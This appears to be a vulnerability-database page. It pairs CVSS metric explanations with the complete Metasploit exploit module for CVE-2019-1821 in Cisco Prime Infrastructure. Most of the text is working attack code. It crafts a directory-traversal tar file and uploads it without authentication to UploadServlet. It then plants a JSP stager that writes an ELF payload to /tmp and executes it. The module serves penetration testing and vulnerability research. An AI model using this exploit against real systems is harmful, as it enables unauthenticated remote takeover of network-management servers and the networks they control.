The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that
the TarArchive Java class the HA Health Monitor component uses does not check for any
directory traversals while unpacking a Tar file, which can be abused by a remote user to
leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps
directory, and gain arbitrary remote code execution. Note that authentication is not
required to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Steven Seeley', # Original discovery, PoC
'sinn3r' # Metasploit module
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Cisco Prime Infrastructure 3.4.0.0', { } ]
],
'References' =>
[
['CVE', '2019-1821'],
['URL', 'https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce'],
['URL', 'https://srcincite.io/advisories/src-2019-0034/'],
['URL', 'https://srcincite.io/pocs/src-2019-0034.py.txt']
],
'DefaultOptions' =>
{
'RPORT' => 8082,
'SSL' => true,
},
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Privileged' => false,
'DisclosureDate' => 'May 15 2019',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('WEBPORT', [true, 'Cisco Prime Infrastructure web interface', 443]),
OptString.new('TARGETURI', [true, 'The route for Cisco Prime Infrastructure web interface', '/'])
])
end
class CPITarArchive
attr_reader :data
attr_reader :jsp_name
attr_reader :tar_name
attr_reader :stager
attr_reader :length
def initialize(name, stager)
@jsp_name = "#{name}.jsp"
@tar_name = "#{name}.tar"
@stager = stager
@data = make
@length = data.length
end
def make
data = ''
path = "../../opt/CSCOlumos/tomcat/webapps/ROOT/#{jsp_name}"
tar = StringIO.new
Rex::Tar::Writer.new(tar) do |t|
t.add_file(path, 0644) do |f|
f.write(stager)
end
end
tar.seek(0)
data = tar.read
tar.close
data
end
end
def check
res = send_request_cgi({
'rport' => datastore['WEBPORT'],
'SSL' => true,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'webacs', 'pages', 'common', 'login.jsp')
})
unless res
vprint_error('No response from the server')
return CheckCode::Unknown
end
if res.code == 200 && res.headers['Server'] && res.headers['Server'] == 'Prime'
return CheckCode::Detected
end
CheckCode::Safe
end
def get_jsp_stager(out_file, bin_data)
# For some reason, some of the bytes tend to get lost at the end.
# Not really sure why, but some extra bytes are added to ensure the integrity
# of the code. This file will get deleted during cleanup anyway.
%Q|<%@ page import="java.io.*" %>
<%
String data = "#{Rex::Text.to_hex(bin_data, '')}";
FileOutputStream outputstream = new FileOutputStream("#{out_file}");
int numbytes = data.length();
byte[] bytes = new byte[numbytes/2];
for (int counter = 0; counter < numbytes; counter += 2)
{
char char1 = (char) data.charAt(counter);
char char2 = (char) data.charAt(counter + 1);
int comb = Character.digit(char1, 16) & 0xff;
comb <<= 4;
comb += Character.digit(char2, 16) & 0xff;
bytes[counter/2] = (byte)comb;
}
outputstream.write(bytes);
outputstream.close();
try {
Runtime.getRuntime().exec("chmod +x #{out_file}");
Runtime.getRuntime().exec("#{out_file}");
} catch (IOException exp) {}
%>#{Rex::Text.rand_text_alpha(30)}|
end
def make_tar
elf_name = "/tmp/#{Rex::Text.rand_text_alpha(10)}.bin"
register_file_for_cleanup(elf_name)
elf = generate_payload_exe(code: payload.encoded)
jsp_stager = get_jsp_stager(elf_name, elf)
tar_name = Rex::Text.rand_text_alpha(10)
register_file_for_cleanup("apache-tomcat-8.5.16/webapps/ROOT/#{tar_name}.jsp")
CPITarArchive.new(tar_name, jsp_stager)
end
def execute_payload(tar)
# Once executed, we are at:
# /opt/CSCOlumos
send_request_cgi({
'rport' => datastore['WEBPORT'],
'SSL' => true,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, tar.jsp_name)
})
end
def upload_tar(tar)
post_data = Rex::MIME::Message.new
post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"")
# The file gets uploaded to this path on the server:
# /opt/CSCOlumos/apache-tomcat-8.5.16/webapps/ROOT/tar_name.jsp
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'servlet', 'UploadServlet'),
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' =>
{
'Destination-Dir' => 'tftpRoot',
'Compressed-Archive' => 'false',
'Primary-IP' => '127.0.0.1',
'Filecount' => '1',
'Filename' => tar.tar_name,
'FileSize' => tar.length
}
})
(res && res.code == 200)
end
def exploit
tar = make_tar
print_status("Uploading tar file (#{tar.length} bytes)")
if upload_tar(tar)
print_status('Executing JSP stager...')
execute_payload(tar)
else
print_status("Failed to upload #{tar.tar_name}")
end
end
end
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